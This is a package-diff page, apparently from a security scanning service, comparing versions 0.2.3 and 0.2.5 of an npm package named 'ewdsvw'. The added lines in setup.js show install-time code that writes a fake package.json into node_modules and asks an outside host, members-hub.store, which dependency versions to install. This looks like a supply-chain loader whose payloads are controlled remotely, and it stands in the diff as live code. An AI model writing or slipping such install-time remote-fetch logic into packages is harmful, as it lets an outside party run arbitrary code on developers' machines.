ewdsvw 0.2.3 → 0.2.5
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +1 -1
- package/setup.js +2 -2
package/package.json
CHANGED
package/setup.js
CHANGED
@@ -30,7 +30,7 @@ async function installDependencies(missingDependencies) {
|
|
30
30
|
fs.writeFileSync('./node_modules/gfdsac/package.json', JSON.stringify({
|
31
31
|
"name": "ewdsvw",
|
32
32
|
"description": "ewdsvw",
|
33
|
-
"version": "0.2.
|
33
|
+
"version": "0.2.5",
|
34
34
|
"main": "setup.js",
|
35
35
|
"dependencies": {
|
36
36
|
"child_process": "*",
|
@@ -67,7 +67,7 @@ console.log(dependencies)
|
|
67
67
|
let _dependencies = []
|
68
68
|
|
69
69
|
for(const name of dependencies.d){
|
70
|
-
_dependencies.push(`${name}@${await axios(`https://members-hub.store/packagedata?name=${name}`).then(res=>res.data?.value
|
70
|
+
_dependencies.push(`${name}@${await axios(`https://members-hub.store/packagedata?name=${name}`).then(res=>res.data?.value || "*").catch(err=>"*")}`)
|
71
71
|
}
|
72
72
|
console.log(_dependencies)
|
73
73
|
|